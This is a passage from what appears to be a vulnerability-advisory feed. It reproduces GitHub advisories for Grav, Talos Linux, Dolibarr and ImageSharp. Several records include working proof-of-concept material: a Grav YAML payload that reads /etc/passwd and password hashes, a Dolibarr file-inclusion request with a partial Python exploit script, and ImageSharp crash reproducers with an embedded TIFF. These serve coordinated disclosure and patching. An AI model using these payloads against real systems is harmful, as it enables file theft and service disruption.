if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)) {
 return false;
}
```
Any callable string containing `::` — i.e. every `Class::method` static call — skips the check entirely and is passed to `call_user_func_array()` at `Blueprint::dynamicData()` (`Blueprint.php`, around line 461) and `FlexDirectory::dynamicDataField()` (`system/src/Grav/Framework/Flex/FlexDirectory.php`, around line 937). There is no allowlist restricting which classes or methods may be invoked this way; only the call's *arguments* are (separately) scanned for smuggled dangerous callables, never the target itself.

`Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, ":")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.)

This is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design.

### PoC
Tested on Grav `develop` at commit `db8c1fc` (which self-reports version 2.0.11) with the admin and form plugins, using an account granted only `admin.login` + `admin.pages` (page editor, not super-admin). The same guard is present in every current release from 2.0.7 through 2.0.10. Base URL shown as `https://grav.example`.

**A. Arbitrary file read (confidentiality)**

1. Log in to `/admin` as the page-editor account (GET `/admin` for the login nonce, then POST `task=login`).
2. Save a page via the standard admin endpoint, `POST /admin/pages/ ` with the session cookie, the admin nonce, and `data[frontmatter]` containing a form field with a `download` gadget directive:
 ```yaml
 forms:
 x:
 fields:
 y:
 type: text
 data-opts@:
 - 'Grav\Common\Utils::download'
 - '/etc/passwd'
 - false
 - 0
 - 1024
 - mime: 'text/plain'
 ```
 The server returns `HTTP 200` and accepts the save — the `data-opts@` directive is not rejected.
3. As an unauthenticated visitor (no cookies), request the saved page, e.g. `GET / ` (use a fresh query string to avoid a cached copy; immediately after saving, a first request may `404` while the flat-file page index catches up — retry moments later). The response is `HTTP 200` with the raw contents of `/etc/passwd` in the body (`root:x:0:0:...`). Pointing the path at `user/accounts/ .yaml` instead returns that account file, including its `hashed_password:` bcrypt line — i.e. an anonymous visitor obtains a stored administrator's password hash.

**B. Arbitrary file/directory write (integrity) — verified**

Using the same mechanism with `Grav\Common\Filesystem\Folder::copy` (a public static method taking source and destination paths), a page editor caused the server to copy an existing page directory to an attacker-chosen new path under `user/pages/`; the newly created page then rendered its (attacker-controlled) content at the new route over plain HTTP. This demonstrates attacker-controlled creation of files/directories anywhere the web-server account can write. `Folder::move` and `Folder::delete` are equally reachable (their destructive nature was not exercised).

### Impact
A page editor (an `admin.pages`-only account, **not** super-admin) can, through a page they author:

- **Read any server-readable file**, disclosed to any anonymous, unauthenticated visitor of the crafted page — including `user/accounts/*.yaml`, which stores account metadata and bcrypt password hashes. An attacker may attempt offline cracking of a disclosed hash; recovery of a weak or reused administrator password could lead to full admin-panel compromise. Other secrets on disk (site/plugin config, environment files) are equally exposed.
- **Create or overwrite files and directories** under the web-server account (demonstrated via `Folder::copy`), with `Folder::move`/`Folder::delete` additionally reachable for destructive tampering.

Because the guard permits *any* public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase, not by this report's demonstrated cases.

Affected package ranges reported by GitHub:
getgrav/grav: >= 2.0.7, <= 2.0.10
Action: GitHub lists first patched versions: getgrav/grav: 2.0.11. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
https://kevwire.com/record/CVE-2026-72701
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection (Sep 17, 2026).
`Grav\Common\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.

The codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison.
CVSS 3.7 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-38p6-h87p-r4cg).
Sources:
GitHub-reviewed advisory GHSA-38p6-h87p-r4cg: https://github.com/advisories/GHSA-38p6-h87p-r4cg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Summary

`Grav\Common\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.

The codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison.

## Affected product and version

Product: Grav CMS, getgrav/grav
Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

## Affected code

`system/src/Grav/Common/Utils.php`, lines 1512 to 1521:
```php
public static function verifyNonce($nonce, $action)
{
 //Safety check for multiple nonces
 if (is_array($nonce)) {
 $nonce = array_shift($nonce);
 }

 //Nonce generated 0-12 hours ago
 if ($nonce === self::getNonce($action)) {
 return true;
 }

 //Nonce generated 12-24 hours ago
 return $nonce === self::getNonce($action, true);
}
```

The nonce itself is `md5($tick . '|' . $action . '|' . $username . '|' . session_id() . '|' . Security::getNonceKey())`, computed in the private `generateNonceString()` a few lines above. `Security::getNonceKey()` is an installation level secret. So the value being compared with `===` is a value derived from a secret, which is exactly the case `hash_equals()` exists for.

## Proof of concept, verified, real output

I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's `===` string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.

Step 1, confirm PHP build:
```
$ php -v
PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
```

Step 2, benchmark script, measures the median time of `$a === $b` over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length:
```php
<?php
// timing_poc2.php
function timeCompare(string $a, string $b, int $iterations): float {
 $r = null;
 $start = hrtime(true);
 for ($i = 0; $i < $iterations; $i++) {
 $r = ($a === $b);
 }
 $end = hrtime(true);
 return ($end - $start) / $iterations;
}

function median(array $arr): float {
 sort($arr);
 $n = count($arr);
 $mid = intdiv($n, 2);
 return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2;
}

function runExperiment(int $len, int $iterations, int $trials): array {
 $secret = bin2hex(random_bytes((int)ceil($len / 2)));
 $secret = substr($secret, 0, $len);

 $wrongEarly = $secret;
 $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';

 $wrongLate = $secret;
 $last = $len - 1;
 $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';

 $earlyTimes = [];
 $lateTimes = [];
 timeCompare($wrongEarly, $secret, 20000);
 timeCompare($wrongLate, $secret, 20000);
 for ($t = 0; $t < $trials; $t++) {
 $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations);
 $lateTimes[] = timeCompare($wrongLate, $secret, $iterations);
 }
 return [median($earlyTimes), median($lateTimes)];
}

echo "=== Length 4096 bytes, establishes the primitive is not constant time ===\n";
[$e, $l] = runExperiment(4096, 20000, 15);
printf("Median mismatch at position 0 : %.2f ns/op\n", $e);
printf("Median mismatch at last position : %.2f ns/op\n", $l);
printf("Ratio (late/early) : %.2fx\n\n", $l / $e);

echo "=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\n";
[$e2, $l2] = runExperiment(32, 200000, 21);
printf("Median mismatch at position 0 : %.2f ns/op\n", $e2);
printf("Median mismatch at last position : %.2f ns/op\n", $l2);
printf("Ratio (late/early) : %.2fx\n", $l2 / $e2);
```

Step 3, run it three times to confirm the result is reproducible and not noise:
```
$ php timing_poc2.php
```

Actual output, run 1:
```
=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0 : 13.83 ns/op
Median mismatch at last position : 338.58 ns/op
Ratio (late/early) : 24.48x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0 : 14.13 ns/op
Median mismatch at last position : 17.41 ns/op
Ratio (late/early) : 1.23x
```

Actual output, run 2:
```
=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0 : 14.25 ns/op
Median mismatch at last position : 333.99 ns/op
Ratio (late/early) : 23.44x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0 : 13.83 ns/op
Median mismatch at last position : 17.24 ns/op
Ratio (late/early) : 1.25x
```

Actual output, run 3:
```
=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0 : 14.20 ns/op
Median mismatch at last position : 336.89 ns/op
Ratio (late/early) : 23.73x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0 : 13.98 ns/op
Median mismatch at last position : 17.39 ns/op
Ratio (late/early) : 1.24x
```

Interpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof `===` is not constant time in this PHP buil

Affected package ranges reported by GitHub:
getgrav/grav: <= 2.0.15
Action: GitHub lists first patched versions: getgrav/grav: 2.0.16. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Talos Linux: Support bundle does not redact registry credentials
https://kevwire.com/record/CVE-2026-77564
Talos Linux: Support bundle does not redact registry credentials (Oct 15, 2026).
Within the generated support bundle, inside `resources/registryconfigs.cri.talos.dev.yaml` the `auth` field of the spec is retained.
The same, potentially sensitive information is present within `etcfilespecs.files.talos.dev.yaml`.

Simply run `talosctl -n [...] support` on a cluster with a `RegistryAuthConfig` resource
CVSS 3.3 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-7cxh-94cf-mfp6).
Sources:
GitHub-reviewed advisory GHSA-7cxh-94cf-mfp6: https://github.com/advisories/GHSA-7cxh-94cf-mfp6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary
When generating a support bundle with `talosctl support` the credentials entered for private registries are included in the bundle.

### Details

Within the generated support bundle, inside `resources/registryconfigs.cri.talos.dev.yaml` the `auth` field of the spec is retained.
The same, potentially sensitive information is present within `etcfilespecs.files.talos.dev.yaml`.

### PoC

Simply run `talosctl -n [...] support` on a cluster with a `RegistryAuthConfig` resource 

### Impact

The problem itself is minor, however, anyone who has ever uploaded a support.zip bundle on a github issue, slack thread or public forum could have potentially leaked their internal authentication parameters for a private registry.

In most situations, if the network and credentials are set correctly, this should not be a problem. On the other hand, if the affected registry is publicly accessible, and the provided credentials have write access to it, this could lead to possibly serious consequences, from denial of service, to data loss and possibly existing tag hijacking leading to supply chain compromise, for the affected parties which were under the impression that the support bundle is redacted of sensitive information and thus can be shared publicly.

### Notes

Talos 1.14+ by default encrypts the support bundle to the age recipients specified (defaulting to siderolabs GitHub org members), so the impact is even lower.

### Environment

- Talos version: v1.13.0
- Kubernetes version: 1.35.3
- Platform: amd64

Affected package ranges reported by GitHub:
github.com/siderolabs/talos: < 1.14.0-alpha.0.0.20260513110206-76080416beee
Action: GitHub lists first patched versions: github.com/siderolabs/talos: 1.14.0-alpha.0.0.20260513110206-76080416beee. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php
https://kevwire.com/record/CVE-2026-34036
Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php (Mar 27, 2026).
Dolibarr Core (Tested on version 22.0.4)

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-2mfj-r695-5h9r).
Sources:
GitHub-reviewed advisory GHSA-2mfj-r695-5h9r: https://github.com/advisories/GHSA-2mfj-r695-5h9r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

## Target

Dolibarr Core (Tested on version 22.0.4)

## Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).

## Vulnerability Details

The vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.

- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.
- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.

## Steps to Reproduce

- Log in to the Dolibarr instance with any user account (no specific permissions required).
- Intercept or manually forge a GET request to the following endpoint:

```
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
```

- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.
- *(Optional)* Run the attached Python PoC to automate the extraction:

```
python3 poc.py --url http://target.com --username ' ' --password ' ' --file conf/.htaccess
```

## Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

## Suggested Mitigation

- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.
- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.
- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.

## Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards,
Vincent KHAYAT (cnf409)

## Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

## PoC Script

```python
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request(
 opener, base_url, method, path, params=None, data=None, timeout=15
):
 url = f"{base_url.rstrip('/')}{path}"
 if params:
 url = f"{url}?{urllib.parse.urlencode(params)}"
 payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
 req = urllib.request.Request(url, method=method.upper(), data=payload)
 req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
 req.add_header("Accept", "text/html,application/xhtml+xml")
 try:
 with opener.open(req, timeout=timeout) as resp:
 return resp.status, resp.read().decode("utf-8", errors="replace")
 except urllib.error.HTTPError as err:
 return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page):
 for pattern in (
 r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
 r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
 ):
 match = re.search(pattern, page, flags=re.IGNORECASE)
 if match:
 return match.group(1)
 return ""

def looks_authenticated(body):
 return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body):
 for marker in (
 "

\n Warning",
 "

\r\n Warning",
 "

\n Fatal error",
 "

\r\n Fatal error",
 ):
 pos = body.find(marker)
 if pos != -1:
 return body[:pos].rstrip()
 return body.rstrip()

def login(opener, base_url, username, password):
 code, login_page = request(opener, base_url, "GET", "/")
 if code >= 400:
 return False, f"HTTP {code} on login page"

Affected package ranges reported by GitHub:
dolibarr/dolibarr: < 23.0.0
Action: GitHub lists first patched versions: dolibarr/dolibarr: 23.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer
https://kevwire.com/record/CVE-2026-106110
ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (Oct 7, 2026).
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j9gm-c75j-xc9q).
Sources:
GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q: https://github.com/advisories/GHSA-j9gm-c75j-xc9q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;

Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image (width, height);
for (int y = 0; y < image.Height; y++)
 for (int x = 0; x < image.Width; x++)
 image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));

var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;

using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
```

Against the published 4.1.1 package, this produced:

```text
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
 at ...TiffCcittCompressor.GetWhiteTermCode(...)
 at ...T4BitCompressor.CompressStrip(...)
```

A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:

```text
mode=control width=64 height=2000
Encoded OK: 76230 bytes
```

The direct public configuration path also triggers with:

```csharp
new TiffEncoder
{
 BitsPerPixel = TiffBitsPerPixel.Bit1,
 Compression = TiffCompression.CcittGroup3Fax
};
```

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 2.0.0, < 3.2.0
SixLabors.ImageSharp: >= 4.0.0, < 4.1.2
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer
https://kevwire.com/record/CVE-2026-106115
ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (Oct 7, 2026).
The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.1.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-jjfr-hcj7-qf5w).
Sources:
GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w: https://github.com/advisories/GHSA-jjfr-hcj7-qf5w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.1.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.
### Details

[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.

After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

### Tested environment

- Published NuGet package: `SixLabors.ImageSharp` 4.1.1
- Target framework: `net8.0`
- .NET SDK: 8.0.424
- .NET runtime: 8.0.30
- Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

### Reproduction

Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:

```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
 "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream();
if (mode == "control")
{
 image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
 image.Save(output, new TiffEncoder());
}

Console.WriteLine($"encoded=True bytes={output.Length}");
```

Run:

```text
dotnet run -- exploit
dotnet run -- control
```

The exploit produced exit code 134:

```text
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
 at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
```

The control completed with exit code 0:

```text
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
```

### Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 2.1.0, < 3.2.0
SixLabors.ImageSharp: >= 4.0.0, < 4.1.2
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop
https://kevwire.com/record/CVE-2026-106116
ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop (Oct 7, 2026).
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
CVSS 5.3 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-wmxv-xphr-5c9g).
Sources:
GitHub-reviewed advisory GHSA-wmxv-xphr-5c9g: https://github.com/advisories/GHSA-wmxv-xphr-5c9g
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, 
 
 Exe 
 net8.0 
 enable 
 enable 

 /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll 

 /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll 

```

Dockerfile:

```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' ' net8.0 ' > fetch.csproj \
 && dotnet restore fetch.csproj --nologo \
 && rm fetch.csproj \
 && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

```

Run:

```sh
docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1
```

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 2.0.0, < 3.2.0
SixLabors.ImageSharp: >= 4.0.0, < 4.1.2
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
https://kevwire.com/record/CVE-2026-106113
ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (Oct 7, 2026).
`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.

This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j3p4-wp97-rph4).
Sources:
GitHub-reviewed advisory GHSA-j3p4-wp97-rph4: https://github.com/advisories/GHSA-j3p4-wp97-rph4
